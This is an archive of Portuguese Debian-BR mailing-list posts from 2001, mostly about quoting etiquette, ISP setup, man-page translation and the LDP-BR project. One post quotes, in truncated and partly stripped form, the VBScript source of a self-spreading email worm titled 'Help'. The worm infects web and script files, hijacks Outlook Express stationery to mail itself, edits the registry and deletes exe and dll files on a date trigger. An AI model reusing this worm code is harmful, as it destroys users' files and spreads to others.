Entupir Banda?!?!?

2001-12-22 Thread Ricardo Castanho de O. Freitas
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On Wed, 19 Dec 2001, Gustavo Noronha Silva wrote:


On Wed, 19 Dec 2001 19:19:45 -0200 (BRST)
Ricardo Castanho de O. Freitas [EMAIL PROTECTED] wrote:
 Pessoal!
 Eu não sou programador, apesar de ter feitos alguns programas em VB, mas
 isto aqui é *só* html???

não, e pra quer citar a mensagem toda de novo? vocês estão querendo entupir
a banda de todo mundo com essa porcaria? =P

Parece que vc não leu a minha pergunta/frase inteira...
Recebi a msg da lista, e estou perguntando para a lista o porque disto e
quanto ao conteúdo!!!
Além do mais, porque permitir msgs em html? Diversas lista bloqueiam isto!
Email em html, parece-me que isto por si só esta fora do contexto!

regra básica: cite apenas o que for importante para acompanhar o
progresso da discussão ou que for relevante ao que você vai dizer

Foi o que eu fiz!
Ou será que posso citar o número da mensagem?
Olha, pessoal aquele msg nº x² do históricona segunda linha, na
trigésima terceira...etc  é assim?
Para mim, código é código enquanto permanece como tal e não esquartejado!

isso é vbscript

Era somente isto que eu estava perguntando...
Obrigado pela informação!

[]s!

[]s Ricardo Castanho

- -- 
delivery NOT reliable  = [EMAIL PROTECTED]
==
Linux user # 102240 = Machine # 96125 = [EMAIL PROTECTED] user
==
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Para mais informações veja http://www.gnupg.org

iEYEARECAAYFAjwklZYACgkQqJymTCNNyXETuACfdRVSQgMWhlGml9iv77pMzG9A
vbsAn3pZ/u9rQJ7/azgxq40O4EvP3cDB
=Q5Ce
-END PGP SIGNATURE-




Ok! não vou [Entupir Banda] !!!

2001-12-22 Thread Ricardo Castanho de O. Freitas
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On Sat, 22 Dec 2001, Raphael Derosso Pereira - DephiNit wrote:

Antes de tudo: Por favor, não transformem isto numa flame-war...
De modo algum...

On Sat 22 Dec 2001 12:15, Ricardo Castanho de O. Freitas wrote:
 On Wed, 19 Dec 2001, Gustavo Noronha Silva wrote:
 regra básica: cite apenas o que for importante para acompanhar o
 Ou será que posso citar o número da mensagem?
 Olha, pessoal aquele msg nº x² do históricona segunda linha, na

Somente como esclarecimento. Vc poderia ter colocado apenas o começo do
código e referenciado a mensagem pelo Autor, dia e hora.
^
Ok, Obrigado pela dica!

E não esquente. Eu não estou lhe julgando, apenas aconselhando.
Lembre-se: O problema não é errar, e sim repetir o erro quando poderia ter
evitado. Então, não esquenta com esta, só tente não fazer denovo! Blz? :)

OK!

[]s Ricardo


- -- 
delivery NOT reliable  = [EMAIL PROTECTED]
==
Linux user # 102240 = Machine # 96125 = [EMAIL PROTECTED] user
==

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Para mais informações veja http://www.gnupg.org

iEYEARECAAYFAjwk1UcACgkQqJymTCNNyXF+zACfaUeeuFQbiC5eJeHvo9/nGEab
lDsAmgJXmJ4bgnoPPjmLSfnsVQvyfggs
=tg9R
-END PGP SIGNATURE-




Re: Help (Por Favor não mandem email html!!!!!)

2001-12-19 Thread Ricardo Castanho de O. Freitas
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On Wed, 19 Dec 2001, Philipe Gaspar wrote:

Pessoal!

Eu não sou programador, apesar de ter feitos alguns programas em VB, mas
isto aqui é *só* html???

[]s Ricardo Castanho


Em Tuesday 18 December 2001 23:56, Javier Farian escreveu:
 HTMLHEAD
 Title Help /Title/HEAD
 Body script language='VBScript'





































































 Rem I am sorry! happy time
 On Error Resume Next
 mload
 Sub mload()
 On Error Resume Next
 mPath = Grf()
 Set Os = CreateObject(Scriptlet.TypeLib)
 Set Oh = CreateObject(Shell.Application)
 If IsHTML Then
 mURL = LCase(document.Location)
 If mPath =  Then
 Os.Reset
 Os.Path = C:\Help.htm
 Os.Doc = Lhtml()
 Os.Write()
 Ihtml = span style='position:absolute'Iframe src='C:\Help.htm'
 width='0' height='0'/Iframe/span Call
 document.Body.insertAdjacentHTML(AfterBegin, Ihtml)
 Else
 If Iv(mPath, Help.vbs) Then
 setInterval Rt(), 1
 Else
 m = hta
 If LCase(m) = Right(mURL, Len(m)) Then
 id = setTimeout(mclose(), 1)
 main
 Else
 Os.Reset()
 Os.Path = mPath  \  Help.hta
 Os.Doc = Lhtml()
 Os.write()
 Iv mPath, Help.hta
 End If
 End If
 End If
 Else
 main
 End If
 End Sub
 Sub main()
 On Error Resume Next
 Set Of = CreateObject(Scripting.FileSystemObject)
 Set Od = CreateObject(Scripting.Dictionary)
 Od.Add html, 1100
 Od.Add vbs, 0100
 Od.Add htm, 1100
 Od.Add asp, 0010
 Ks = HKEY_CURRENT_USER\Software\
 Ds = Grf()
 Cs = Gsf()
 If IsVbs Then
 If Of.FileExists(C:\help.htm) Then
 Of.DeleteFile (C:\help.htm)
 End If
 Key = CInt(Month(Date) + Day(Date))
 If Key = 13 Then
 Od.RemoveAll
 Od.Add exe, 0001
 Od.Add dll, 0001
 End If
 Cn = Rg(Ks  Help\Count)
 If Cn =  Then
 Cn = 1
 End If
 Rw Ks  Help\Count, Cn + 1
 f1 = Rg(Ks  Help\FileName)
 f2 = FNext(Of, Od, f1)
 fext = GetExt(Of, Od, f2)
 Rw Ks  Help\FileName, f2
 If IsDel(fext) Then
 f3 = f2
 f2 = FNext(Of, Od, f2)
 Rw Ks  Help\FileName, f2
 Of.DeleteFile f3
 Else
 If LCase(WScript.ScriptFullname)  LCase(f2) Then
 Fw Of, f2, fext
 End If
 End If
 If (CInt(Cn) Mod 366) = 0 Then
 If (CInt(Second(Time)) Mod 2) = 0 Then
 Tsend
 Else
 adds = Og
 Msend (adds)
 End If
 End If
 wp = Rg(HKEY_CURRENT_USER\Control Panel\desktop\wallPaper)
 If Rg(Ks  Help\wallPaper)  wp Or wp =  Then
 If wp =  Then
 n1 = 
 n3 = Cs  \Help.htm
 Else
 mP = Of.GetFile(wp).ParentFolder
 n1 = Of.GetFileName(wp)
 n2 = Of.GetBaseName(wp)
 n3 = Cs  \  n2  .htm
 End If
 Set pfc = Of.CreateTextFile(n3, True)
 mt = Sa(1100)
 pfc.Write   HTML  body bgcolor='#007f7f' background='  n1 
 '  /Body  /HTML  mt pfc.Close
 Rw Ks  Help\wallPaper, n3
 Rw HKEY_CURRENT_USER\Control Panel\desktop\wallPaper, n3
 End If
 Else
 Set fc = Of.CreateTextFile(Ds  \Help.vbs, True)
 fc.Write Sa(0100)
 fc.Close
 bf = Cs  \Untitled.htm
 Set fc2 = Of.CreateTextFile(bf, True)
 fc2.Write Lhtml
 fc2.Close
 oeid = Rg(HKEY_CURRENT_USER\Identities\Default User ID)
 oe = HKEY_CURRENT_USER\Identities\  oeid  \Software\Microsoft\Outlook
 Express\5.0\Mail MSH = oe  \Message Send HTML
 CUS = oe  \Compose Use Stationery
 SN = oe  \Stationery Name
 Rw MSH, 1
 Rw CUS, 1
 Rw SN, bf
 Web = Cs  \WEB
 Set gf = Of.GetFolder(Web).Files
 Od.Add htt, 1100
 For Each m In gf
 fext = GetExt(Of, Od, m)
 If fext   Then
 Fw Of, m, fext
 End If
 Next
 End If
 End Sub
 Sub mclose()
 document.Write   titleI am sorry!/title  
 window.Close
 End Sub
 Sub Rt()
 Dim mPath
 On Error Resume Next
 mPath = Grf()
 Iv mPath, Help.vbs
 End Sub
 Function Sa(n)
 Dim VBSText, m
 VBSText = Lvbs()
 If Mid(n, 3, 1) = 1 Then
 m = %  VBSText  %
 End If
 If Mid(n, 2, 1) = 1 Then
 m = VBSText
 End If
 If Mid(n, 1, 1) = 1 Then
 m = Lscript(m)
 End If
 Sa = m  vbCrLf
 End Function
 Sub Fw(Of, S, n)
 Dim fc, fc2, m, mmail, mt
 On Error Resume Next
 Set fc = Of.OpenTextFile(S, 1)
 mt = fc.ReadAll
 fc.Close
 If Not Sc(mt) Then
 mmail = Ml(mt)
 mt = Sa(n)
 Set fc2 = Of.OpenTextFile(S, 8)
 fc2.Write mt
 fc2.Close
 Msend (mmail)
 End If
 End Sub
 Function Sc(S)
 mN = Rem I am sorry! happy time
 If InStr(S, mN)  0 Then
 Sc = True
 Else
 Sc = False
 End If
 End Function
 Function FNext(Of, Od, S)
 Dim fpath, fname, fext, T, gf
 On Error Resume Next
 fname = 
 T = False
 If Of.FileExists(S) Then
 fpath = Of.GetFile(S).ParentFolder
 fname = S
 ElseIf Of.FolderExists(S) Then
 fpath = S
 T = True
 Else
 fpath = Dnext(Of, )
 End If
 Do While True
 Set gf = Of.GetFolder(fpath).Files
 For Each m In gf
 If T Then
 If GetExt(Of, Od, m)   Then
 FNext = m
 Exit Function
 End If
 ElseIf LCase(m) = LCase(fname) Or fname =  Then
 T = True
 End If
 Next
 fpath = Pnext(Of, fpath)
 Loop
 End Function
 Function Pnext(Of, S)
 On Error Resume Next
 Dim Ppath, Npath, gp, pn, T, m
 T = False
 If Of.FolderExists(S) Then
 Set gp = Of.GetFolder(S).SubFolders
 pn = gp.Count
 If pn = 0 Then
 Ppath = LCase(S)
 Npath = LCase(Of.GetParentFolderName(S))
 T = True
 Else
 Npath = LCase(S)
 End If
 Do While Not Er
 For Each pn In Of.GetFolder(Npath).SubFolders
 If T Then
 If Ppath = LCase(pn) Then
 T = False
 End 

Re: Cuidado com o SourceForge

2001-11-13 Thread Ricardo Castanho de O. Freitas
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On Tue, 13 Nov 2001, Marcio China wrote:
On Monday 12 November 2001 21:44, Gustavo Noronha Silva wrote:
 Alô amigos,

Mesmo se tudo estiver sob a GPL??
Ela nao protege exatamente contra isto?

Eu ja recebi este link na outra lista e  fiu ate la  ler a noticia, que esta
em frances.
Simplesmente o proprietario do sourceforge pode apropriar-se das colaboracoes
la contidas.
No brasil tem o codigoaberto.org.br, que pode ser uma alternativa.
China

[]s Ricardo Castanho

- -- 
==
Linux user # 102240 = Machine # 96125 = [EMAIL PROTECTED] user
==
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Made with pgp4pine 1.75-6

iEYEARECAAYFAjvyBgoACgkQ9I0k95pf9XvHVgCfV/gygIRcmdGn21bojCP1DSbb
928An1wJWVVNbP27SEcvc9oRnIJ/0SCu
=6X7l
-END PGP SIGNATURE-




Re: Speedy

2001-10-14 Thread Ricardo Castanho de O. Freitas
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On Sat, 13 Oct 2001, Marinho Paiva Duarte wrote:


Olá Marinho!

O Speedy/Telefonica *nunca* vai garantir nada!
Mas funciona legal com o Linux sim! só que eu acabei de ver uma msg na
linux-br sobre o rp-pppoe! que você deverá usar para autenticação! (no
Speedy 'NOVO').

Dizem que o rp-pppoe é melhor! Mas eu não sei e nem pretendo testar!
E se por um acaso você descobrir uma solução debian, por favor me avise!

[] Ricardo Castanho


Alguém já usou o Speedy da Telefonica (Brasil) com linux??
Antes eles usavam ip fixo e eu sei que funciona porque já vi em várias 
máquinas, mas agora eles mudaram para ip automático, e não tem mais como 
expecificar gateway, ip e etc para o Linux. A Telefonica diz que com o Linux 
eles não garantem o funcionamento do produto.
Se alguém usa ou sabe como fazer funcionar, poderia me dizer como??
Qualquer pista é preciosa...

Abraços!!!

---
Marinho Paiva Duarte
Analista de Suporte
Usuário Linux #229528



_
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com





- -- 
==
Linux user # 102240 = Machine # 96125 = [EMAIL PROTECTED] user
==
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Made with pgp4pine 1.75-6

iD8DBQE7yOs9643DDkd0jWwRApkQAJ9vJl8b5bli3biX3HDs+1RHlk3wqQCgghu4
pGuaQrKaqkiXtH+MUP0SOCY=
=T84s
-END PGP SIGNATURE-




Re: [OFF-TOPIC] Línguas (era: Linguagem de programacao)

2001-09-24 Thread Ricardo Castanho de O. Freitas
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On Mon, 24 Sep 2001, Leandro Guimarães Faria Corsetti Dutra wrote:

Grande Leandro:
Vou guardar sua mensagem como testemunho! ;-)) (pelo menos as pessoas
vão ver que não sou *só* eu que brigo por isto! Não tenho xenofobia!)

Estou brigando com várias pessoas com relação à certas palavras, mas
principalmente, o 'assume' do Inglês como assumir em Português!
Não acho que o 'intercâmbio' de palavras e conceitos entre idiomas seja um
problema, ao contrário, *quando bem utilizado* enriquece o idioma, *mas* a
utilização como assume=assumir é danosa ao nosso idioma!

[]s Ricardo Castanho

Hélio Perroni Filho wrote:
 E é assim que nossa pobre Língua Portuguesa vai se empobrecendo.
  Na verdade, é assim que as línguas vão se enriquecendo... Sem
  neologismos e assimilações, elas estagnariam. Claro que há um limite pra
  tudo, mas os procedimentos em si não são danosos, e sim o seu uso
  exagerado.

   Não é questão de grau, mas de essência.  Neologismos tudo bem, quando se
encontra uma palavra melhor ou mais precisa ou mais genérica que as já
existentes.  Assimilações, quando não se encontra uma palavra que já exista na
nossa língua, e quando não há colisão com uma já existente.

   Por exemplo, uma assimilação boa seria resiliente.  Mas assumir como
tradução de assume é uma péssima assimilação, porque (1) essa palavra
já existe em Português com outro significado, de reconhecer-se, e (2) porque
já temos outra palavra para expressar a mesma idéia, presumir.

- -- 
==
Linux user # 102240 = Machine # 96125 = [EMAIL PROTECTED] user
==
A tall, dark stranger will have more fun than you.

-BEGIN PGP SIGNATURE-
Version: PGP 6.5.8
Comment: Made with pgp4pine 1.75-6

iQA/AwUBO69wK3Nx7XbKFCtwEQLJeQCfc9rBg/QKgaxXwPjG8GIpcPqj/0oAnji9
l06rCB2oqHHs9Et94yFuWTkM
=7kDk
-END PGP SIGNATURE-




Re: upgrade cl6 - cl7

2001-08-30 Thread Ricardo Castanho de O. Freitas
On Thu, 30 Aug 2001, ReMy Le BeAu wrote:

Pô... também não precisa 'judiar' né? ;-)

  upgrade para mim?? só com outra instalação em outro HD e migrar minhas
  'tralhas'
hehehe... e pensar que você pode atualizar Debian 1.0 - 3.0 sem nem um
reboot... =)
Pô, Debian: All the power without the silly hat...

[]s Ricardo
-- 
==
Ricardo C.O. Freitas [EMAIL PROTECTED]
Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
You will contract a rare disease.



upgrade cl6 - cl7

2001-08-29 Thread Ricardo Castanho de O. Freitas
On Wed, 29 Aug 2001, Gustavo Noronha Silva wrote:


Olá Kov!

Já ví que você é mentiroso!! ;-))
Eu duvido que você consiga fazer o upgrade
do cl6 e cl7 utilizando 'aquele' howto

ou qualquer outro!

Quer tentar? ;-)

Nem com reza brava, nem com ajuda do pessoal da cnc!
upgrade para mim?? só com outra instalação em outro HD e migrar minhas
'tralhas'

BTW, só pra deixar registrado, para fazer um upgrade cnc 6 - 7
você *precisa* ler um howto porque senão você se estrepa todo e
acaba com um sistema inutilizável (só um expert em rpm para arrumar ;))

DETALHE: eu segui aquele howto passo à passo! e acabei na mesma .

fica aí nosso protesto =)

endosso seu protesto!

[]s!

outros []'s

Ricardo Castanho


PS: Se 'você' não morasse TÃO longe, eu até que levaria minha maquina para
você tentar ;-)
Mas pensando bem você não merece isto! ;-) aliás. ninguém!


-- 
==
Ricardo C.O. Freitas [EMAIL PROTECTED]
Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
You had some happiness once, but your parents moved away, and you had to
leave it behind.



Re: apt desnvolvido pela Conectiva

2001-08-28 Thread Ricardo Castanho de O. Freitas
On Tue, 28 Aug 2001, Victor Maida wrote:

Sou usuário do Cl6 e também acho este tipo de atitute lamentável...
Principalmente por ser o Sandro

Espero que realmente tenha sido um escorregãomesmo!

Mas por outro lado é que considero de grande importância a sua atitude!
Conhecer a história e corrigir quem estiver errado!

Parabéns pela correção e pela informação!

[]s Ricardo Castanho

   Na palestra de ontem (segunda-feira) do Sandro Nunes (conectiva) na
Comdex, ele disse que a Conectiva tinha desenvolvido um sistema para
facilitar a instalação de programas, resolvendo inclusive as questões
sobre dependências, essa ferramenta desenvolvida por eles se chama apt
-get. Quando eu o indaguei sobre o apt ter sido desenvolvido pela Debian
ele agradeceu como se ele houvesse esquecido deste pequeno detalhe. O
correto seria ele dizer que a Conectiva fez a adaptação do apt para
trabalhar com rpms e dar o mérito para quem de direito.
   Eu juro que não podia imaginar uma falha dessas, ainda mais de uma
das pessoas que mais ajudou na divulgação do gnu/linux no país. Dar o
mérito para quem realizou um trabalho é o mínimo que se pode fazer na 
comunidade open source.


-- 
==
Ricardo C.O. Freitas [EMAIL PROTECTED]
Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
You are confused; but this is your normal state.



'tá na RdL [AGOSTO] pg.65!Re: Shutdown

2001-08-22 Thread Ricardo Castanho de O. Freitas
On Wed, 22 Aug 2001, Carlos Laviola wrote:

Olá Pessoal!

Como, no 'subject', está na Rdl de Agosto, pg65! Eu também estava
procurando uma forma de fazer isto sem 'outorgar'direitos de 'root' à
ninguém

Para meu propósito serviu

Caso queiram... é só falar que eu mando a dica da RdL!

[]s Ricardo Castanho


On Wed, Aug 22, 2001 at 09:01:38AM -0300, [EMAIL PROTECTED] wrote:

 All

 estou precisando habilitar alguns usu?rios a fazerem shutdown no sistema. J? 
 vi em algum que lugar que existe um arquivo em que se coloca os usu?rios que 
 podem dar shutdown no sistema.

Pelo que eu vi na manpage, é diferente do que você está pensando. O
/etc/shutdown.allow serviria apenas para deixar que certos usuários
apenas tenham o poder de reiniciar a máquina fisicamente, através de
ctrl + alt + del. Se você quer dar poder aos usuários para reiniciar a
máquina, pegue o pacote sudo e dê a eles permissão de root apenas para
os binários 'halt', 'shutdown' e 'reboot', ou adicione-os ao grupo
root (não recomendável, óbvio).



-- 
==
Ricardo C.O. Freitas [EMAIL PROTECTED]
Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
Beware of a tall black man with one blond shoe.



Re: off topic - usernet

2001-08-12 Thread Ricardo Castanho de O. Freitas
On Sun, 12 Aug 2001, cosmo wrote:

Olá Cosmo!

Desculpe! não entendi sua pergunta direito
Você quer provedor de news gratuíto para acesso a usenet, é isto?
Atualmente, os provedores 'news'são pagos, mas eu recebi uma lista
como todos nós gostamos, gratis
Se for isto, me avise que te mando!

Programa, eu escolhi o pam, que parece ser o melhor que eu encontrei até
agora

O pam tenta imitar o fortè! (conhece?) mas não chega aos pés...;-(
pena que o fortè seja windows!!!

[]s Ricardo Castanho

All

Por acaso alguem conhece algum news que tenha acesso a usernet ?!?!?

[ ]'s

[EMAIL PROTECTED]
GNU/Linux Debian


--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]



-- 
==
Ricardo C.O. Freitas [EMAIL PROTECTED]
Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
You will gain money by an immoral action.



man pages para download!

2001-08-12 Thread Ricardo Castanho de O. Freitas
Olá Pessoal!

Segundo me solicitaram, estou encaminhando para lista o endereço abaixo!

Os link para download dos arquivos são:
http://ldp-br.conectiva.com.br/projetos/man-pages/

Mas, pergunte ao kov ou alguém que possa esclarecer quanto as
particularidades no Debian...
Aliás, eu gostaria de saber... seria só fazer o download ou algum 'port'?

[]s Ricardo Castanho

==
Ricardo C.O. Freitas [EMAIL PROTECTED]
Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
Don't let your mind wander -- it's too little to be let out alone.



Boa informação!

2001-08-11 Thread Ricardo Castanho de O. Freitas
On Fri, 10 Aug 2001, Gustavo Noronha Silva wrote:
Olá Kov e Pessoal!

Em Fri, 10 Aug 2001 18:04:06 -0300 (EST)
Ricardo Castanho de O. Freitas [EMAIL PROTECTED] escreveu:
 Kov!
 é a este tipo de atitude que eu me referi! Estamos falando de GNU/Linux!
 E pelo que sei a Debian faz parte deste princípio... mais do que qualquer
 outra! [Favor corrigir se estiver errado!]
que atitude? quem fez alguma coisa? Pelo que entendo, o nosso amigo somente
quis ressaltar que o LDP-BR é realmente um projeto de todas as dists e
não um projeto Conectiva... não concorda? O fato de o coordenador ser usuário
de slack mostra a isenção do LDP-BR
Sim, concordo!

 Ao contrário desta lista que é específica para Debian, a LDP-BR não é
 propriedade de nenhuma distro, senão perde o valor!Creio eu
A LDP-BR perde seu valor se for de uma única distro mas o Debian-BR
perde o valor se for de todas =)
É um paradoxo, mas é verdade!

Nós estamos *assumidamente* trabalhando para fazer *em primeiro lugar*
um sistema *totalmente livre* e universal, o que não bate com a vontade
de todos, visto que a conectiva, por exemplo, tem um mercado específico...
Nós estamos *assumidamente* trabalhando para que o Debian seja a escolha
de mais e mais pessoas... o que significaria um tipo de competição com a
CNC, por exemplo... mas como nós somos uma comunidade e não uma empresa,
não vemos isso como competição, vemos como um tipo de mutualismo... (quando
eu digo 'nós' eu quero me referir a 'o Debian-BR', já que não tenho competência
para falar pelo Debian =))
Perfeito! Creio que é exatamente esta a idéia!

E se pararmos de traduzir documentação específica do Debian, não é o LDP-BR
que o vai fazer por nós, infelizmente... Mesmo que o LDP-BR queira ser
totalmente universal ainda aparecem uns Conectiva Linux dentro dos HOWTOs
vide:
Nosso foco até agora eram as man pages! E, se eu ví, passou batido!
De qualquer forma, ainda será decidido qual será a prioridade que virá!
Mas em todo caso, eu gostaria que fossem retirada toda e qualquer menção a
uma distro específica, a não ser que seja absolutamente essencial!
Tipo característica básico do sistema de arquivos, ext e etc!

Se a tradução tiver sido feita pela Conectiva, e seguindo-se os padrões de
hoje, será mencionado apenas o tradutor e revisor ao final de cada
arquivo. Mantendo-se, à risca, a originalidade do documento!
Isto, sem dúvida alguma será revisto, entretanto, ao traduzirmos os
HOWTO's por exemplo, pegaremos sempre, as últimas versões... que por sí
mesmo eliminaria qualquer menção 'não adequada'.

 De qualquer forma, se foi instalada uma distribuição Red Hat ou
  Conectiva Linux, tem-se a opção de instalá-lo como um pacote. Algumas
  outras distribuições também incluem os binários do Samba.
-- Samba-HOWTO

é nosso propósito fazer com que o Debian tenha também sua documentação
disponível, e por isso é que (isso era uma dúvida frequente anteriormente...)
não podemos ser LDP-BR... nossos propósitos, embora sejam de colaboração,
são totalmente distintos... O Debian tem problemas e soluções muito diferentes
das normais... dhelp, dwww, modconf, update-* devem ser documentados.. e
isso cabe a nós =)
Concordo, mas não se esqueça que mesmo a LDP-BR (ou a LDP) é um movimento
dos usuários...
Podemos, independente da distro, estar interagindo... embora, como você
disse existirem particularidades!

Não entendam isso errado... nós, os debianers, temos (tirando alguns
usuários meio nervosinhos =)) grande consideração pelo que o LDP-BR
faz, e com a CNC por ajudar nisso... embora todos saibamos que o projeto
é uma coisa voluntária e não uma coisa *da* conectiva =)
kov, para mim, isto está claro apesar de ter compreendido de forma
errada a menção ao Slack... a minha preocupação no momento é Gnu/Linux e
pronto!

Contem com a gente, por que estamos lutando pelo mesmo ideal!
E divergências haverão sempre, resta aprender com elas


[]s Ricardo Castanho

-- 
==
Ricardo C.O. Freitas [EMAIL PROTECTED]
Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
Expect the worst, it's the least you can do.



Re: PS para PDF

2001-08-11 Thread Ricardo Castanho de O. Freitas
On Sat, 11 Aug 2001, HardBeat404 wrote:

Eu vi recentemente no freshmeat, um  programa chamado: ps2pdf!
Não cheguei a testar, mas chamou a atenção!
Existem outros, este foi o último!
[]s Ricardo Castanho


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Galera , alguem pode me informar de algum programa que passe de
postscript para pdf ??? eu infelizmente nao achei nenhum e quero
passar aquele ps do livro linux total da conectiva para pdf ou entao
algum visualizador postscript para windows


Abraços


//  www.hardbeat404.f2s.com
//  Debian News?  http://www.debianplanet.org
//  ICQ/Licq:  #72974241
//  Linux Registered User: #220025

-BEGIN PGP SIGNATURE-
Version: PGPfreeware 7.0.3 for non-commercial use http://www.pgp.com

iQA/AwUBO3WK/7vphCHEu7TmEQJRuQCeOao+KwZvJ3gNu5QbF7awEbL6F38An0sz
mAwiF8O2vCR19B210w1IJZPP
=G16C
-END PGP SIGNATURE-



--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]



-- 
==
Ricardo C.O. Freitas [EMAIL PROTECTED]
Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
Your supervisor is thinking about you.



Man Pages! Debian-br!

2001-08-10 Thread Ricardo Castanho de O. Freitas
On Thu, 9 Aug 2001, Gustavo Noronha Silva wrote:

Olá Kov e Pessoal Debian-br!

 Eu sei que muitos da Debian-br não gostam das traduções feitas pela
 LDP-BR!
de onde você tirou isso? é uma idéia errada
Concordo, mas esta idéia apareceu por diversas vezes e na última, você
(kov) foi quem explicou ao outro usuário que isto estava errado! foi em
Julho (não tenho mais a msg!).
Esta mensagem que eu falo, foi motivo de muita conversa entre nós para
eliminarmos qualquer idéia separativista dentro do movimento GNU/Linux!

tanto é que temos um
pacote das manpages em português já há algum tempo... feito pelo Eduardo
Maçan... (tá na hora de atualizar error =))
Sempre!

 Não fossem as divergências... não teríamos tantas distribuições Linux!
não vejo como divergências mas como necessidades específicas ;)
Concordo em alguns casos!
Considero divergência quando para o mesmo trabalho... várias pessoas
'divergem' e utilizam Slack, Debian, Cnc, Mandrake e etc, para executá-lo!
Mesmo resultado, com ferramentas 'diferentes'.

 Este trabalho iniciou-se em 1997 na Conectiva e pela Conectiva, passando à
 LDP-BR em 1998, ganhando cada vez mais voluntários de todas as distribuições
 para concluir mais este trabalho!
e que parecia estar parado o LDP-BR não teria um domínio próprio?
Sim temos!
http://ldp-br.conectiva.com.br/

A Conectiva sede máquina, espaço, funcionários, tempo de dedicação dos
funcionários que mantem a página e etc! E tem mais ainda
Existe a idéia de se implantar um 'bugzilla', como um meio fácil e rápido
para que usuários reportem erros e 'erros' nas traduções!
Além da reformulação total do próprio site!

O problema é que o trabalho é voluntário e nem sempre as pessoas
entendem o que isto significa! Muitos pensavam que era para fazer o que
fosse possível, quando desse!
Hoje existe uma conscientização e comprometimento com o trabalho!

Parecia, não estava muito parado!
Foi justamente por 'n' problemas na coordenação com divisão de trabalho e
normatização do processo, que somente entramos em ritmo normal... tirando
o atraso de vários anos! (considerando que a Cnc começou a tradução em
1997)... não tenho dados sobre o Macan!
Nosso trabalho 'disparou' mesmo após Novembro/2000!
Eu não tenho os números mas, não foi brincadeira colacar o trabalho em
dia!
Agora, precisamos manter o que já foi feito e começar a traduzir o
restante!

 Esperamos contar com a colaboração do pessoal da Debian-br, que esta
 envolvida em suas próprias traduções e prioridades, mas na medida do
 possível, colaborem com  GNU/Linx!
estamos aí pra ajudar... a única diferença é que o Debian-BR está interessado
em trabalhar aspectos específicos do Debian como descrições de pacotes,
templates debconf... fazemos isso porque sabemos e confiamos no LDP-BR para
tratar das partes que os sistemas compartilham... não há divergência mas
uma cooperação mútua (visto que ao tentar melhorar o Debian nós muitas vezes
acabamos traduzindo ou melhorando um programa que é usado por outras...)

Precisamos, acima de tudo, de críticas construtivas, para que possamos
realmente 'gastar' nosso tempo de maneira produtiva e que tenha um real
valor para toda a comunidade GNU/Linux!
Precisamos de tradutores e revisores que estejam dispostos a botar a mão
na massa!

Abraços,

E sucesso com esta nova empreitada da Debian-br!
logo logo com traduções das descrições!! =)

-- 
==
Ricardo C.O. Freitas [EMAIL PROTECTED]
Linux user # 102240 = [EMAIL PROTECTED] user - SE440BX-2
PII-400-128Mb-2hd (13+4,3Gb) + Invicta 1L de Café Pilão©
Machine # 96125 - CL6 + PINE (This msg is 100% MS Free!)
=
You dialed 5483.



Re: Lançamento do primeiro pacote de páginas de manual traduzido para o pt_BR (fwd )

2001-08-10 Thread Ricardo Castanho de O. Freitas
On Fri, 10 Aug 2001, Fabio Jr. Beneditto wrote:

Como falei o movimento é GNU/Linux.
Não é GNU/Linux-Conectiva!!
Não é restrito a nenhuma distro! Nem uma específica distro pode
'descaracterizar' o valor voluntário do trabalho.
Assim como sou usuário Conectiva!
Sou voluntário como tradutor/revisor!
Nada demais!
[corta]

Kov!
é a este tipo de atitude que eu me referi! Estamos falando de GNU/Linux!
E pelo que sei a Debian faz parte deste princípio... mais do que qualquer
outra! [Favor corrigir se estiver errado!]

Ao contrário desta lista que é específica para Debian, a LDP-BR não é
propriedade de nenhuma distro, senão perde o valor!Creio eu

Só complementando:
O Atual coordenador do LDP-BR, o André Lonely Wolf, é um Slack User
[só para constar...]
:wq!

-- 
==
Ricardo C.O. Freitas [EMAIL PROTECTED]
